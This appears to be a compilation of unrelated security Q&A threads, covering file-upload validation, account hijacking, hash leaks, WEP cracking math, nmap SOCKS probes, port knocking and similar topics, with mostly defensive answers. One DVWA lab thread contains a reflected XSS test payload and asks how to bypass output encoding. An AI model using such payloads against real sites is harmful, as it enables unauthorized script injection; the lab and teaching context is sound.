Unrestricted file upload - shared file signature A java application I'm working on has a file upload component, and I want to validate that only certain file types are allowed. I realize checking file extension alone is not sufficiently reliable, so I've started validating the hex signatures of the uploaded files. Have been using this for reference: http://www.garykessler.net/library/file_sigs.html

So, this application will expect some OOXML files, but it seems that each of these (docx, pptx, xlsx) have the same hex signature (50 4B 03 04 14 00 06 00), with no subheader to differentiate them.

Is there a good way to differentiate these, or, should I implement it whereby if the file extension is an OOXML file we accept, and the shared hex sig is correct, allow it through? Are there any additional security concerns from implementing the latter?

All of the OOXML file formats are actually zip archives with specific contents. That makes telling them apart a bit tricky, unless you're prepared to open them and examine the contents.

Whether this is a problem depends on what you're doing with the files. If you're just storing them for later download, and you've implemented good segregation between user uploads and files which are executed by the server, it might not matter. If you're using a server which accepts .jar files, and the upload folder is considered executable by the server software, it could be a big problem - .jar files are also zip archives with specific contents, so you could be letting users upload their own server side code if you're not careful.

Equally, opening the zip archives to check the contents can be dangerous - they might expand into large files which fill the system storage, for one example. If you're extracting data from within the files already, you might have protections against this kind of malicious file in place, though, so it might not cause problems.

Personally, I'd concentrate on ensuring that the upload function doesn't allow for any server executable code to be uploaded, whether this is by putting file uploads in a directory which doesn't allow execution of the contents, enforcing the file extensions allowed for both upload and execution (making sure they are different!), and potentially running some form of AV on uploads, ensuring that it isn't vulnerable to maliciously crafted zip archives.


Stalking and harassment I believe my ex wife is redirecting my Yahoo and Google accounts and somehow has access to anything I do online. How can I know if my suspicions are true?

She is director of I.T. of a large company, so I know the knowledge and resources are available. I'm getting tired of having to deal with it. The police doesn't seem to want to look into it. I have even been in contact with the Internet crimes detective with my local sheriffs department. I'm told until she messes with bank accounts they really won't get to involved.

The investigation could take over a year. I need to figure out if and how it is happening to build a case so I can prosecute

So if she is hijacking your accounts, she must be maintaining some sort of access. Security questions are easy to guess especially if she's your ex. If you haven't changed your password, now's the time to do that too! Use something that she wouldn't know about.

The easiest way to solve things is to create 100% new accounts. Google also have "two-factor" authentication where you log in with a password and also use an authentication code that is sent to your phone by Google. That way, you need the phone AND the password. Even if she did somehow know your password, she wouldn't be able to log in without the code on your phone.

It's quite possible that she's using very low-key attacks, aka password guessing and security question guessing. As long as she hasn't had access to your computer recently, she's probably not using keyloggers and other malware to snoop on you.

Just for giggles, what have you been noticing?


How does an attacker get access to hashed passwords? The way that we hash passwords and the strength of password is important because if someone gets access to the hashed passwords, it's possible to try lots and lots of passwords in a surprisingly short amount of time and crack anything that is weak.

The question I have is how is it that the attacker get access to the hashed passwords in the first place.  If they have access to the /etc/shadow file, for example, isn't it already game over?  Is it simply bad permissions settings?  Backups?  Other mistakes?  Is it that once one system is compromised, the password from there are used to attempt to get into other systems?

I guess ultimately my query boils down to the implication I get from reading about this subject that it's inevitable that the attacker will get access to the hashes.  How does that happen in practice?

There are any number of ways:

SQL injection
Leaked backups
Disgruntled employees leaking them
Any kind of breach of the server that allows code execution.

As you can see there are many, many ways this could happened - as phihag mention in comments, more than half of the OWASP top 10 could lead to leaked hashes - so they can not be easily tabulated in a post.

This does not mean that it is inevitable that hackers gets the hashes, but you should still use a good hashing algorithm to protect yourself and your users just in case. Since a backup may be lost or your server hacked without you ever noticing, having properly hashed passwords should be the only thing that allows you to sleep at night. This strategy is known as "defence in depth", or just simply "plan for the worst".


Recover password of ZIP archive, having its decrypted and extracted content Can I recover a password of an AES-encrypted ZIP if I know its extracted & decrypted content? The archive contains two files protected with two different passwords.

Possibly, but maybe not in the way you think. AES encryption is resistant to known-plaintext attacks (i.e. where you can recover the key just by having both the unencrypted and encrypted data). This is assuming there are no other weaknesses or side channel attacks present in the implementation used for ZIP encryption.

Your only option is to try every possible password on the encrypted ZIP (which will take a long time), and you will know the key is correct when the decrypted result matches your existing decrypted copy. This is slightly better than not knowing what the unencrypted data looks like, but doesn't let you cheat AES. For more details, see these answers:

https://crypto.stackexchange.com/a/1515
https://stackoverflow.com/a/11716590


Is iptables and vpn tunneling enough? What is the best approach to secure connection between two devices over the internet (public IP)?

if there is a firewall on my public IP address deny access all incoming connection, can the hacker get access to my server from the internet, or bypass my firewall by any magic exploit or secret technique?

No one can never ensure you the ultimate safety. The practice you mention though is very good for encrypting an end-to-end connection. Pieces of advice:

Create a strong RSA key for the SSL
If you feel that iptables is not enough, use an external firewall, which will also be able to work as a vpn server and cover your original server behind it. Apart from the general rules, you can also set up IDS and IPS technologies.
Keep your software updated (less magic exploits can occur this way)
Watch out from where do you connect over vpn to your server. Try not to use your certificates over many different, not-trusted computers and networks.


Strict secure cookies vs. cookie prefixes The secure flag on cookies prevent them from being read by an insecure (non-HTTPS) site, but they can still be written or deleted from an insecure site. There are two new browser features that try to prevent that:

Strict Secure Cookies
Cookie Prefixes

It seems to me that the __Secure- prefix also makes the cookie strictly secure.

How do these two features compare with each other? Why are there two seperate solutions for overwriting cookies? Do I still need the cookie prefix if my clients have a browser with strict secure cookie support?

The strict secure cookies draft describes a limitation of strict secure cookies where cookie prefixes can help:

  The mitigations in this document do not, however, give complete
     confidence that a given cookie was set securely.  If an attacker is
     able to impersonate a response from "http://example.com/" before a
     user visits "https://example.com/", the user agent will accept any
     cookie that the insecure origin sets, as the "secure" cookie won't
     yet be present in the user agent's cookie store.  An active network
     attacker may still be able to use this ability to mount an attack
     against "example.com", even if that site uses HTTPS exclusively.

If there is no cookie yet, an insecure origin can set a secure cookie, but not a prefixed cookie. So cookie prefixes are still a good idea when using browsers that implement strict secure cookies.


OpenVPN error=unsupported certificate purpose OpenVPN fails at this error

Thu Jun 13 10:27:52 2019 us=490780 ###.###.###.###:52064 Incoming Ciphertext -> TLS
Thu Jun 13 10:27:52 2019 us=491055 ###.###.###.###:52064 VERIFY ERROR: depth=0, error=unsupported certificate purpose: CN=client
Thu Jun 13 10:27:52 2019 us=491111 ###.###.###.###:52064 SSL alert (write): fatal: unsupported certificate

(more of the log on https://pastebin.com/qjY83e7G )

Server config

#server
port 443
proto tcp
dev tap0
ca /etc/openvpn/ca.crt
cert /etc/openvpn/issued/server.crt
key /etc/openvpn/private/server.key
dh /etc/openvpn/dh.pem
server 10.98.0.0 255.255.0.0
ifconfig-pool-persist /etc/openvpn/ipp.txt
keepalive 10 120
tls-server
tls-auth /etc/openvpn/ta.key 0
cipher AES-256-CBC
comp-lzo
#user nobody
#group nobody
persist-key
status /var/log/openvpn/openvpn-status.log
log-append  /var/log/openvpn/openvpn.log
verb 9
explicit-exit-notify 0
auth sha512
remote-cert-tls client
duplicate-cn

Client config

client
dev tap0
proto tcp
remote ########
resolv-retry infinite
#nobind
comp-lzo
persist-key
status /var/log/openvpn/openvpn-status.log
log-append  /var/log/openvpn/openvpn.log
verb 9

key-direction 1
cipher AES-256-CBC
auth sha512
ca /etc/openvpn/ca.crt
cert /etc/openvpn/client.crt
key /etc/openvpn/client.key
dh /etc/openvpn/dh.pem
tls-client
tls-auth /etc/openvpn/ta.key 1
remote-cert-tls server

#script-security 2
#up /zpi/onVpnUp.sh

Googling the error led me to this EasyRSA vars setting

# Support deprecated "Netscape" extensions? (choices "yes" or "no".) The default
# is "no" to discourage use of deprecated extensions. If you require this
# feature to use with --ns-cert-type, set this to "yes" here. This support
# should be replaced with the more modern --remote-cert-tls feature.  If you do
# not use --ns-cert-type in your configs, it is safe (and recommended) to leave
# this defined to "no".  When set to "yes", server-signed certs get the
# nsCertType=server attribute, and also get any NS_COMMENT defined below in the
# nsComment field.

#set_var EASYRSA_NS_SUPPORT     "no"

But reading the comment, it should be set 'yes' only when using ns-cert-type (which I don't have in my config), not when using remote-cert-tls (which I do)

Where am I wrong?

edit:
Tried recalculating certificate files with EASYRSA_NS_SUPPORT and I am still getting this error.

I just had the same issue and wanted to share my 'solution'.
I was stupid enough to have ./easyrsa sign-req server client01; which produced the same error:

TLS: Initial packet from [AF_INET]***:***, sid=*** ***
VERIFY ERROR: depth=0, error=unsupported certificate purpose: C=.., ST=.., ...
OpenSSL: error:***:SSL routines:ssl3_get_client_certificate:certificate verify failed

Setting it to ./easyrsa sign-req client client01; resolved the issue...


Is the US military secret network SIPRNet physically or cryptographicaly separated/secured? I've read the Wikipedia articles on SIPRNet and NIPRNet (which are pretty light on details) and they are supposed to be considered separate.  At the network level, are they technologically incompatible or is there a high-level of human involvement to keep them unlinked and essentially airgapped?

Does SIPRNet run on its own fibre/cable/satellites/infrastructure or is it encapsulated with strong encryption running over public infrastructure? (I suspect it is both depending on the context and the speed at which secure comms need to be set up?)

According to this Web page, SIPRNet and NIPRNet are supposed to be air gapped (both from each other, and from the rest of the World). However, they are also accessible from various locations around the World, under control of several countries (it is documented that some services from a pool of countries, which includes Australia, New Zealand, Canada and United Kingdom, have access to SIPRNet and NIPRNet).

If SPIRNet and NIPRNet were really, physically air gapped worldwide, then this would imply that:

all communications are over wires (no radio, no satellite link);
there are dedicated wires just for that, including both worldwide submarine communications cable and terrestrial cables.

Considering that installing a submarine communication cable cannot be discreet in any way (and the list of such cables appears to be public knowledge), that the cost would be tremendous, and that Bradley Manning, alleged source of some classified information which was published on WikiLeaks, had access to SIPRNet from a facility located in Baghdad, one can deduce that the air gap is not thorough. It probably means that within a given facility the networks are physically apart from each other, and no computer is ever connected to both SIPRNet or NIPRNet, and some other network; on the other hand, data which exits such secured facilities is most probably heavily encrypted and conveyed over links which are shared with the rest of the World (at least US tax payers fervently hope that encryption is properly applied).


Will quantum computers render AES obsolete? This is a spin off from: Use multiple computers for faster brute force

Here's at least one source which says that quantum computers are on the way to being able to break RSA in the not too distant future. I am not a security expert, and don't know the difference between that and AES, but might this throw a monkey wrench into this idea that it's impossible to crack these modern encryption mechanisms?

MIT's new 5-atom quantum computer could make today's encryption obsolete

Perhaps some of you who are more knowledgeable on the subject could weigh in?

Quantum computing will change the encryption game, but it is not yet clear how much it will change.  It's not clear because we are not yet certain what sorts of problems quantum computers can solve.  As mentioned, RSA is dramatically weakened by quantum computing because the factoring of primes can be done in polynomial time using Shor's Algorithm.  However, not all cryptographic routines are known to be as weak vs. quantum computing.

You may have heard of P (polynomial time), NP (nondeterministic polynomial time -- problems that given the right answer can be checked in polynomial time), and NP-Complete (the hardest NP problems).  Prime factorization of large composite numbers is known to be an NP problem and is thought by many to not be P problem.  That means a conventional computer would most likely¹ need super-polynomial time (at best sub-exponential time like GNFS) to do the factorization and RSA encryption depends on this.  NP-complete is a slightly more demanding class of problem.  Any instance of an NP problem can be reduced to an instance of an NP-complete problem. (This is true even if the NP problem is another NP-complete problem.) This means if you ever found a polynomial time solution for an NP-complete problem, you would have a polynomial time solution for every NP problem.  If you did so using a classical computer, you would have proven P = NP.

Quantum computers have their own complexity class.  BQP is the class of problems that can be [statistically] solved by a quantum computer in polynomial time.  It is known that factorization is in BQP, because we have Shor's algorithm.  What is yet unknown is whether BQP contains NP-complete or not.  It is currently theorized that it does not, meaning there are NP-complete problems that still take exponential time, even with a quantum computer, but the mathematicians are still crunching away at that theory.

Integer factorization sits in an interesting middle ground.  We know it is part of BQP (because we found Shor's algorithm).  We also know that it is a problem within NP (it is NP because the factorization can be proven in polynomial time just by multiplying the numbers back together).  What we don't yet know is whether it is P, NP-but-not-P, or NP-complete.  Nobody has been able to prove it one way or another.  It could actually be a P problem, solvable with a classical computer in polynomial time, making it very weak for encryption purposes.  It could be a NP-complete problem, which given that we know it is in BQP, would imply that quantum computers can solve any NP problem in polynomial time, which would be a major blow to cryptography in general.

Many upcoming encryption algorithms are starting to use other problems besides prime factorization as their root.  In particular, a set of problems based on lattices are thought to be particularly hard to break using quantum computers.  If all NP problems are part of BQP, this won't help any, but we're still figuring that detail out to this day.

As it turns out, AES is not affected by Shor's algorithm.  Grover's algorithm allows brute-forcing an n-bit key in O(2n/2) time instead of the O(2n) time required by classical computers.  Therefore, an 128-bit AES key could be brute forced in O(264) time by a sufficiently powerful quantum computer that can do Grover's algorithm with 128+ qubits for 2^64 time.

¹ The wise and challenging commenters below are picking away at the imprecision in my wording.  Technically it is not known whether NP problems requires exponential time or not.  It is possible that the NP class of problems and the P class of problems are the same.  However, most mathematicians believe it is much more likely that P != NP, simply because so far it doesn't look like it.  If we want to talk in betting terms, just look at how much you could make answering the question.  if you prove P and NP are distinct, you can earn the Clay prize of a million dollars, and maybe get a cushy job offer for being so smart.  If you prove they are the same, I would expect the NSA to be willing to pay quite a lot more for you to be silent about your discovery, and instead hand over your papers to their mathematicians.

If you are very interested in the topic of quantum computing and encryption, I highly recommend reading up on the different complexity classes such as P and NP.  They're worth your time.


2-Factor Auth with SSH I recently acquired a Synology NAS (DS1513+).

I am looking to expose SSH access remotely and to that end would like to harden SSH as much as possible. Is 2 Factor auth possible and if so what are the options that exist.

Please note, I am aware of the PAM-based Google Auth module but wanted to know if there are alternative approaches.

Yes, there's a PAM module for just about everything. You pick your auth token, there's a PAM module for it. SecurID, Yubikey, Text Message, you name it. And yes, also TOTP (e.g. Google Authenticator, Microsoft Authenticator, etc)

If you're looking for doing authentication somewhere other than PAM, then perhaps you should re-evaluate your goals. They call it Pluggable Authentication Modules for a reason. That's exactly where authentication should happen.


Is there a down side to how so many security products bundle multiple components into one these days? For example it seems like anti-virus, anti-spam and firewalls have sort of merged into one product. Is there a downside to this? I don't know of any software firewalls that can be purchased without an AV, is there a reason this has happened?

Here are some to think about, mainly from the "home user" perspective. The enterprise environment is unlikely to use a single vendor for all security needs. If they do, the setup and support package usually eliminates all common mistakes.

Good:

More integration/less administrative work to do - you only have one
purchase to make, and one vendor to call for support.
Consistent User Experience - the commands/GUI should be similar, so it should be
easier to learn, while making fewer mistakes.
Pricing is usually cheaper for product "bundles".
Fewer conflicts. Products from the same vendor are less likely to conflict with each other, compared to a similar set of features from programs by different vendors.

Bad:

Single point of failure - especially for "home user" scenarios: if your subscription ends, or if there is a fault, you (may) lose several layers of protection.
Product quality (maybe)- an AV vendor may not necessarily be good at creating a firewall product.
Incomplete configuration - e.g. someone may complete proper config of the anti-spam feature only, mistakenly thinking that configuration across all products has been completed.


Does an HTTPS proxy encrypt traffic between proxy client and server for HTTP requests? To bypass censorship in a DIY fashion, I plan to set up private proxies for my personal use. One of the possible methods I would try is to use an HTTPS proxy (not a web proxy, to be explicit) hosted on an overseas server which is not censored by my ISP.

However, what I have read on the differences between an HTTP and an HTTPS proxy did not provide enough information to clear my concerns over the encryption of traffic between the proxy client and the proxy server. This is critical to a successful mitigation of the censorship by [c_____ed].

According to this diagram, fetching an HTTP URI over an HTTPS proxy has NO difference with doing so over an ordinary HTTP one, except that an SSL/TLS handshake is performed before the HTTP GET request which is unencrypted. If this is the case, communication with the proxy would almost certainly be reset because URL filtering and DPI have long been implemented in my place. The use of HTTPS proxies, then, would be highly limited: if an HTTP-transferred site has a "Share to ..." button containing URL pointing to, let's say Youtube or Facebook, this can be detected and communication to the proxy server is then disrupted.

In addition, I have seen that in the proxy settings page of the mainstream browsers, users are given the option to specify different proxies for HTTP and HTTPS, so does this imply that HTTP requests over HTTP and/or HTTPS proxies can never be encrypted, at least in defined, conventional ways?

I will only set out building an HTTPS proxy provided that all traffic between the proxy client and the proxy server, regardless of it being HTTP or HTTPS, is definitely encrypted, only except for the initiating TCP connections and handshakes.

I look forward to clarification on this issue.

It may be simpler to see it in stages. First, in a whole-HTTP world (no SSL whatsoever), an HTTP request is a collection of headers, indicating the target URL, and sent over a TCP connection (usually on port 80). The request headers begin with a "verb" which is usually GET or POST.

When there is a proxy, the request is sent to the proxy; the proxy then opens the connection to the target server (or another proxy) and forwards the request over that new connection. The response follows the same path, backwards.

Now enters SSL. SSL is coupled with HTTP in the following way: once the TCP connection is established, a SSL handshake is performed, establishing an encrypted tunnel between client and server. The HTTP request will be sent within this tunnel.

When there is a proxy, a client wishing to talk to a SSL-powered server will send a CONNECT request. The request identifies the target server name and port. The proxy then connects to that server (TCP) and forwards bytes back and forth. The SSL handshake occurs between the client and the server; the proxy is kept "on the outside". The proxy (and eavesdroppers on the line between client and proxy, and between proxy and server) can still see the handshake message and thus know what server is being contacted (in particular through the Server Name Indication, and also the certificate sent back by the server).

It so happens that the proxy itself may also be a SSL server. In that case, the communications between the client and the proxy will be themselves encapsulated in a SSL tunnel. When the client-to-proxy connection is SSL-protected, eavesdroppers on the line between client and proxy can know that the client is talking to the proxy, but cannot see the requests and responses. In particular, they cannot know the identity of the ultimate target server.

The two SSL are uncorrelated. This implies some considerable confusion, because when people say "HTTPS proxy", they may mean two different things:

a proxy which knows the "CONNECT" verb and is able to forward connections to a ultimate SSL-powered target server;
a proxy which is itself a SSL server and will engage in SSL with the client, to protect requests and responses when they transit between client and proxy.

The two characteristics are orthogonal to each other, meaning that you may get one, the other, or both. If you have both then the client actually manages two SSL connections, one nested into the other.

If you want to defeat eavesdroppers on the line between client and proxy, and the goal of the attackers is to guess the identity of the sites that you are talking to, then you need a SSL-powered proxy, i.e. one that supports SSL by itself; and you will also want a proxy which supports CONNECT, so that you may browse both HTTP and HTTPS Web site under protection of your SSL-powered proxy.

Since a given proxy may or may not support a specific protocol (at least conceptually, a proxy may refuse to understand a "CONNECT" request), Web browsers can be configured to use different proxies based on the kind of protocol they want to use. In your case, this only adds to the confusion.

An alternative is to use a SOCKS proxy. This is easy to setup with SSH. With a SSH-powered SOCKS proxy, all the communications emanating from your browser will go through a SSH tunnel between your client machine and the proxy server.


Regarding number of packets needed to crack WEP One of the major weaknesses of WEP is a short 24-bit IV, which means that only 224 packets are needed to exhaust all IVs. 224 translates to about 16.5 million IVs (or packets for that matter).

Although we need this many packets to start having repeating IVs, I see the best attacks require about 100K packets (orders of magnitude less than the 16.5 million).

Does it mean that the state-of-the-art attacks do not require IVs to repeat? Its clear that we will not have repeating IVs after just 100K packets. If this is so, why the are repeating IVs always presented as the main weakness of WEP?

Yes it does, but you have to take into consideration the probability of  collision not only size of key space.

As you said the key space for WEP is 224, with this key space there is a 50% collision after only 212 packets, so you don't actually need to go over the 224 packets to find a collision. After only 12430 frames you get 99% collision probability, so from there you can see that 224 key space is a really low number in order to secure WEP.

To go through the math you'll need to check out the Birthday attack which is uses the birthday paradox probabilistic model to reduce the complexity of finding a collision. It's actually pretty interesting to have a look at (it's also used in order to compute MD5 collisions). Basically it's based in the probability of finding 2 people that have the birthday in the same day in a set of N people randomly chosen.

As you can see probability reaches 100% with 367 persons since there are 366 possible birthdays but with only 23 people you get 50% chance of collision!

The problem is that WEP uses RC4 which is a steam cipher, that means that no cipher key can be reused. This would mean that BSS would need to change its cipher key as soon as all 224 keys have been consumed, but WEP protocol doesn't implement something like this.

WEP uses the same base key for all users so the security of WEP is based on never recycling a pair of [Base_Key,IV].

For the given scheme WEP would need an avoidance algorithm to avoid to different nodes to reuse the same IV, but again WEP doesn't implement something like this.

What WEP does is randomly selecting an IV from the 224 key space, and this is where the Birthday paradox comes into play.


Securely sending packets without them being spoofed I'm working on a simple multiplayer game to break the ice with network programming. I have a system where if the player moves, the server receives a move packet that contains some stuff like the timestamp the packet was sent, the keys they press encoded into a byte, the players unique ID, and their position.

What if the player can somehow send a packet pretending their ID is X where X is some random player or moderators ID? Am I approaching this packet wrong, should I encrypt the packets? Or is there a method commonly used in game network protocols to ensure that packets are who they claim to be?

Have you heard about JWT or stateless sessions?
This sounds like a job for an encrypted packet that gets sent to the client, and sent back, for the next packet to be sent. This JSON Web Token could be used to signify who talks to your server by containing the information it needs in an encrypted format to make sure things are secure and compliant. This is best done over an encrypted connection.
An example
Andy and Deli are playing a game. Andy gets a JWT with his information, and Deli gets a JWT with his information.
Some of the information in the JWT is the same(game id, game meta data, so forth) and some of it is unique(player unique id, player ip, something else unique to the player).
When Andy communicates, he JWT is sent along with his packets, and verifies his unique information. Once that is verified his move is then done, and forwarded. It then gets some ALTERED unique information(like updating the time of last move by this player) and gets sent back to him, and the move gets sent to everyone else.
Now Deli wants to cheat. He instead puts Andy's Unique id into his move and sends it to make it look like Andy did a new move into a bad place.
The JWT is decoded, and it's seen that Deli is cheating, so Deli gets kicked, and Andy wins by default since Deli sent a command for a user that isn't Deli.
A Rose by any other name
Often you'll see these also referred to as Cookie Sessions, Stateless Sessions, JSON Web Tokens, and a myriad of other names, but they all have the same idea(and when sent over TCP, usually are in the cookies)
What is a Stateless Session?
A stateless session is a session that lives and dies with it's token.
Usually they are encrypted on the server end with a server secret that is related to whatever is happening. These tokens don't live in databases, don't reflect any sort of long term storage, and expire eventually.
To keep them secure they are usually encrypted with a strong cipher suite, and a secret of some sort that gets decrypted on the fly, modified, and then re-encrypted. This information is usually a JSON document containing meta information that doesn't get modified often(if at all) that can be sent back and forth and since it's encrypted it means that any modification makes it null and void.
Any modifications to these render them as new sessions, and any data in them is lost. This means that if you do your checks and balances correctly you can even use it as a full session for a user on most websites.


What happens if biometric data is stolen? As we move toward a future where fingerprints might possibly replace passwords, I see one issue. While passwords can be stolen, they can be changed by the owner after being notified of the security breach. However, fingerprints can be stolen, but they can't be changed. In this future, what happens if someone's biometric data is stolen? You can't very easily change your fingerprints.

The answer depends a lot on your use case. Are you using a biometric to authenticate yourself to a remote HTTP server? Then if someone steals a binary representation of your biometric, they will be able to log in as you. This is why we like moving to 2-factor authentication instead of a single factor.

An example would be something you are (your fingerprint, or a digital representation of it) and something you know (your password).

If you are doing local authentication, the story is a little different. Attacker's options are: cut-off your finger and take it with them (see Minority Report where he used eyes instead of fingers), get a scan of your finger and try to replicate it on something the scanner will be able to read, or connect something between the reader and the computer doing the processing.

Even for local authentication, 2-factor authentication is often used. Your fingerprint scan might pull up a picture of you on the security guard's computer. Or a fingerprint and a PIN.


Self signed certificate secure when just client sends sensitive information? Is it secure to create a self signed certificate when just clients will send sensitive information to the server?
After checking out the topic "What are the risks of self signing a certificate for SSL" it seems so, or am I wrong?

As long as all clients verify the fingerprint of the self-signed certificate (and you gave them the correct fingerprint through another way, like having a special application which has this fingerprint pinned, e.g. not the usual browser) it is secure.

Which effectively means: as long as the user is is using a normal browser, does not know the fingerprint of your self-signed certificate ore clicks through warnings anyway, it will not be secure, because the user is not able to distinguish your certificate from any other certificate of say a man-in-the-middle. This is like trusting any sheet of paper which claims to be an ID issued by a state.


WinForm Application Security I wanted to create a winform application that have a centralized security database. This application is portable, can be save to any PC and simply run the .exe to use, hence there will be many copies of this software. However, it will require a User login, this login account credentials will refer to centralized security database(centralized DB is for security purpose only). If the PC does not have a Internet connection, the software will not be able to identify the credentials. Hence, i came up with an ideal is to put a time stamp, if the last connection to centralized is DB is < 24h, local credential(DB copy from centralized DB) login is granted. But the problem i face now is, the time stamp and 24H limit will have to refer to current system time in the PC(which can be change easily to bypass the time stamp). what is the solution? Any other method that can control the User while the application goes offline?

Your scheme is vulnerable to replay attack: an attacker can manipulate the time and date setting of the local system in order to fool your app into accepting an expired security token.

Furthermore, since you're placing all security element inside your local storage, you simply cannot protect it against the local user: he could, for instance, run your app in a debugger, stop it right when it query your local DB and grab your authentication data from memory.

In other word, there is no foolproof way to protect your data in the way you want. All you can do it try to make it less easy through obfuscation.


Is There an Analogous Agency to OSHA but for Bad Data/Security Practices? I ran into an old coworker and we were both discussing some of the bad practices our old workplace(that dealt with very sensitive data) had and looking back some of them are really bad and probably indicative of worse problems. I raised concerns when I worked there, but no one ever acted on them and I wasn't in a position to. I couldn't care less about the company, but I would like to make it harder for them to lose other people's data if possible.

Is there some agency I could report them to in the USA that would come in and make them clean stuff up similar to OSHA coming into an unsafe workplace?

I think the challenge is a lot of the entities you could "report" these concerns to will want evidence of an incident and/or breach occurring. I don't know of any entities off the top of my head that will respond to accusations that an organization has poor cybersecurity practices/hygiene. If that were the case, every company in America would probably be reported. I you know if actual events (or possibly even near-misses), that might get responded to.


Can you hide a server's existence on the internet? Would it possible to appear as though a server doesn't exist? Is it possible to have all requests believe host-name could not be resolved unless a specific phrase was provided in the request? Is there some evidence of a servers existence that could not be hidden by the owner of the server? Would there be any practical added security?

You can set your server to normally drop all incoming packets and only open a port after it gets/sees a set of packets that specify a specific sequence of ports (this is called port knocking). I use this technique with my server; you cannot normally see the server because it drops all incoming packets. Once the port knocking packets reach the server, the server will then accept packets from the 'knocking' address but continue to drop packets from other addresses.

Security is better with this method because IP scans and attempted brutes won't be much of an issue to you. In order to hack a server there must be recon, to find out what services are running, what kind of OS you have, etc. By denying an attacker this info, it makes it harder for him to craft his attack for your device. The weakness of this defense is that if an attacker can see the incoming knocking packets, they can then open that port as well.


ADFS claims consolidation from different issuers I hope I understand the claims concept in general now after reading related articles on ADFS, certificates used for claims token signing etc. But here is what strange for me:

Claims are so abstract that in general form are basically useless for anything other than authentication. There is no fixed data which claims must contain and I can rely on. Everything depends on the issuer's will to provide that information and is not under our control [source: "Markus says" in "What makes a good claim" section of claims overview article on MSDN].

Let's consider simple example, used in one of authorization samples I found: if claims contain information about user age > 65, he is allowed to visit retirements section of the site.
But what if it doesn't contain such information? And it's very likely that at some point we'll start supporting additional claims issuer which will not provide such information. Same can be said about administrators group membership or any other claim.

Also, I could imagine a situation when Facebook provide a claim 'groups' with the list of facebook groups membership (which can be easily edited and named "Administrators"), while Active Directory use same claim name to provide information about domain groups. So I feel there must be some point of consolidating that data, some bridge for filling the gaps and creating a claim application can use. Illustration from Claims Overview article indicate some process "Gather information" which might be what I'm thinking about, but doesn't cover it with explanation and it doesn't seem to be application-specific:

Am I missing something?

PS: Currently in my application I use UserName, Phone, Department, groups membership, and other information from Active Directory and I'm concerned whether I can rely on that after implementing ADFS authentication support. Probably not, but at the same time I have to get that information somehow.

After reading additional article about ADFS architectures I finally understood that all consolidation is in fact done on the issuer level and that the issuer "close to your application" is not that hardly-defined, and it actually should be responsible for providing claims in format application requires. It has application identifier and claims mapping functionality for that purpose (read article for more details).


Why can't nmap identify the danted(socks5) service on non-standard port? I'm testing nmap's abilities, I started a socks5 proxy server with danted, and started it on port 10090

I tried the following command, and expect it to tell me port 10090 runs a socks server,

nmap ubuntu -p 10900 -sV -A

But it only tells me the port is open.

%> nmap ubuntu -p 10900 -sV -A

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-18 12:45 CST
Nmap scan report for ubuntu (172.16.177.200)
Host is up (0.00026s latency).
PORT      STATE SERVICE VERSION
10900/tcp open  unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

Did I miss something? It works perfectly if the socks server listens on port 1080

Nmap detects SOCKS proxies via 2 service probes defined in the nmap-service-probes file:

Probe TCP Socks4 q|\x04\x01\x00\x16\x7f\x00\x00\x01root\x00|
rarity 8
ports 199,1080,1090,1095,1100,1105,1109,3128,6588,6660-6669,8000,8008,8080,8088

and

Probe TCP Socks5 q|\x05\x04\x00\x01\x02\x80\x05\x01\x00\x03\x0agoogle.com\x00\x50GET / HTTP/1.0\r\n\r\n|
rarity 8
ports 199,1080,1090,1095,1100,1105,1109,3128,6588,6660-6669,7777,8000,8008,8010,8080,8088,9481

These probes will be sent to the ports listed. The rarity 8 part means that they will only run on non-matching ports if you specified a --version-intensity of 8 or more. The default is 7, the maximum is 9.


entropy of two factor authentication I have two independent authentication methods A and B with entropy a and b respectively.
say compromise of A does not provide any information on B.
Is entropy of two-factor authentication of A and B is a+b?

It depends. If you guess A correctly but get B incorrect, does the system tell you that A is correct? If yes, then it's A + B and the average number of guesses it takes is (A + B) / 2. If you don't see which one was wrong, the entropy is A * B and the average number of guesses is A * B / 2.

To show why, consider this example: A=4, B=2. If we try the options sequentially and know which is correct, it would go like this:

A=0, B=0 A ERR; B ERR
A=1, B=1 A ERR; B ERR
A=2, B=2 A ERR; B OK
A=3, B=2 A ERR; B OK
A=4, B=2 A OK; B OK
(5 attempts)

If we don't know which is correct, it would go like this:

A=0, B=0 ERR
A=1, B=0 ERR
A=2, B=0 ERR
A=3, B=0 ERR
A=4, B=0 ERR
A=5, B=0 ERR
A=6, B=0 ERR
A=7, B=0 ERR
A=8, B=0 ERR
A=9, B=0 ERR
A=0, B=1 ERR
A=1, B=1 ERR
A=2, B=1 ERR
A=3, B=1 ERR
A=4, B=1 ERR
A=5, B=1 ERR
A=6, B=1 ERR
A=7, B=1 ERR
A=8, B=1 ERR
A=9, B=1 ERR
A=0, B=2 ERR
A=1, B=2 ERR
A=2, B=2 ERR
A=3, B=2 ERR
A=4, B=2 OK
(24 attempts)


Bypassing htmlspecialchars() for XSS (Reflected) and using an event handler is not an option in this case I am trying to bypass high security XSS on DVWA. So the vulnerable code(I highly doubt that is it really vulnerable?) is:-

<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {

 echo '
';
 echo 'Hello ' . htmlspecialchars($_GET['name']);
 echo '
';

}

?>

And the url is
 http://localhost/dvwa/vulnerabilities/xss_r/?name=<payload>#

It is clear that application is using htmlspecialchars() which will convert all html characters like <, > into its corresponding html entity. And If I encode my payload

It will result into

&lt;img src=x onerror=alert(1)&gt;

which will be eventually rendered as

and also using an event handler is not an option since the user input is rendered within the pre tag and there is no place for adding an
attribute.

So what can I do to bypass htmlspecialchars()?

This seems to be from xss_r/source/impossible.php. In the impossible level the vulnerabilities have been fixed, so they are not intended to be vulnerable.


Can a forensic exam find an image's geographic metadata after geotagging was disabled? We recently did a lab in my computer forensics class where we analyzed images of a suspect's phone, and used the metadata of the photos found therein to show he was in the vicinity of where a crime had occurred. This was handed to us on a silver platter, because the latitude and longitude coordinates were found in the photos' "Properties." Pretty cool stuff.

However, clever criminals are more careful about covering their tracks and forensic scientists won't have the luxury of being given such metadata. Because "Location Services" can be disabled on phones and cameras, is it possible to forensically excavate latitude and longitude coordinates given a photo and/or forensic image from a device where "Location Services" was deactivated and, if so, what is at least one method that can be used to get this information?

Update: Thanks to John Deters for explaining the ways in which a forensic scientist might pinpoint a photo's geolocation from an image where geographic metadata collection was deactivated.

